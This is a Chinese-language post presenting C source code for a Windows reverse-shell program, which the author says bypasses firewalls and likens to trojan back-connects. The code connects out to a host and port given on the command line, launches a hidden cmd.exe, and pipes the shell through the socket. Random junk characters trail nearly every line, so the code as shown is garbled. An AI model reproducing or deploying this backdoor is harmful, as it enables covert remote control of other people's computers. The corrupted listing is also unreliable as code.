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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 !C\$=\$  
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/* ============================== 6&| hpp#[  
Rebound port in Windows NT 9gq+,g>E_  
By wind,2006/7 J,4,#2M8  
===============================*/ QO2@K1Y  
#include (xpt_]Q!H  
#include Hb}O/G$a*  
fF6bEJl3  
#pragma comment(lib,"wsock32.lib") /]j^a:#"6t  
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void OutputShell(); :I_p4S.)  
SOCKET sClient; r$[`A_  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; e}dGK=`  
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void main(int argc,char **argv) i>z_6Gax*[  
{ m)AF9#aT2  
WSADATA stWsaData; F>Pr`T?>  
int nRet; OfG/7pw5%B  
SOCKADDR_IN stSaiClient,stSaiServer; SR%k|YT  
riR(CJ}Ff  
if(argc != 3) LMKhtOZ?  
{ 'Qdea$o  
printf("Useage:\n\rRebound DestIP DestPort\n"); I3gl+)Q  
return; hL4T7`  
} srPczVG*  
U!d|5W.{Q  
WSAStartup(MAKEWORD(2,2),&stWsaData); o|:c{pwq  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Pi+pQFz5  
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stSaiClient.sin_family = AF_INET; 5{/uHscwLa  
stSaiClient.sin_port = htons(0); 'oKen!?A  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); |L/EH~| O  
a\m_Q{:  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) n6AA%? 5  
{ g(_xo\  
printf("Bind Socket Failed!\n"); \?v?%}x  
return; W4;/;[/L  
} QC,fyw\  
x~Y{ {  
stSaiServer.sin_family = AF_INET; GY>G}bfh  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); O&dBLh!G  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); {FQ@eeU  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) {N3&JL5\"E  
{ Hf /ZaBn  
printf("Connect Error!"); JDJ"D\85  
return; u6nO\.TTtY  
} +m9ouF  
OutputShell(); }!Y=SP1e  
} AH{#RD  
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void OutputShell() eFh7#~m  
{ 6Hbu7r*tm  
char szBuff[1024]; InI>So%e|<  
SECURITY_ATTRIBUTES stSecurityAttributes; 3v@h&7<E  
OSVERSIONINFO stOsversionInfo; }u9#S  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; SJB^dI**/d  
STARTUPINFO stStartupInfo; (C;Q<  
char *szShell; Rh}}8 sv  
PROCESS_INFORMATION stProcessInformation; zO`4W!x&  
unsigned long lBytesRead; @(bg#  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ZDG~tCh=@  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); hkb&]XWi[  
stSecurityAttributes.lpSecurityDescriptor = 0; 9tX+n{i  
stSecurityAttributes.bInheritHandle = TRUE; Zg$S% 1(Q  
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)I#{\^  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); FsO_|r  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); q<j9l'dHG  
wn^#`s!]U  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?3lA ogB  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +Xp1=2Mq  
stStartupInfo.wShowWindow = SW_HIDE; zuu<;^/R  
stStartupInfo.hStdInput = hReadPipe; a^={X<K|/  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; MyZVx|7 E  
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GetVersionEx(&stOsversionInfo); ,Nt^$2DZW  
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switch(stOsversionInfo.dwPlatformId) ]1FLG* sB  
{ TjDtNE  
case 1: 'W,*mfB  
szShell = "command.com"; IyI0|&r2A  
break; 1fvN[  
default: PB *v45  
szShell = "cmd.exe"; e|?eY)_  
break; 2eHVl.C5  
} "fr{:'HX  
Uks%Mo9on  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); h%U}Y5Ps~  
/IN#1I!K  
send(sClient,szMsg,77,0); 5 w(nttYH  
while(1) U shIQh  
{ s7afj t  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); RC}m]!Uz  
if(lBytesRead) hxzA1s%~  
{ CuD}Uo+u  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); O wuc9  
send(sClient,szBuff,lBytesRead,0); C6EGM/m8  
} C{,^4Eh3r  
else 9dw* ++  
{ XUzOt_L5<  
lBytesRead=recv(sClient,szBuff,1024,0); p^|6 /b  
if(lBytesRead<=0) break; Jz=|-F(Sy  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ~4pP( JP  
} ,f{w@Er  
} pHuR_U5*?  
^B0Qk:%P^N  
return; WW.@&#S5  
}
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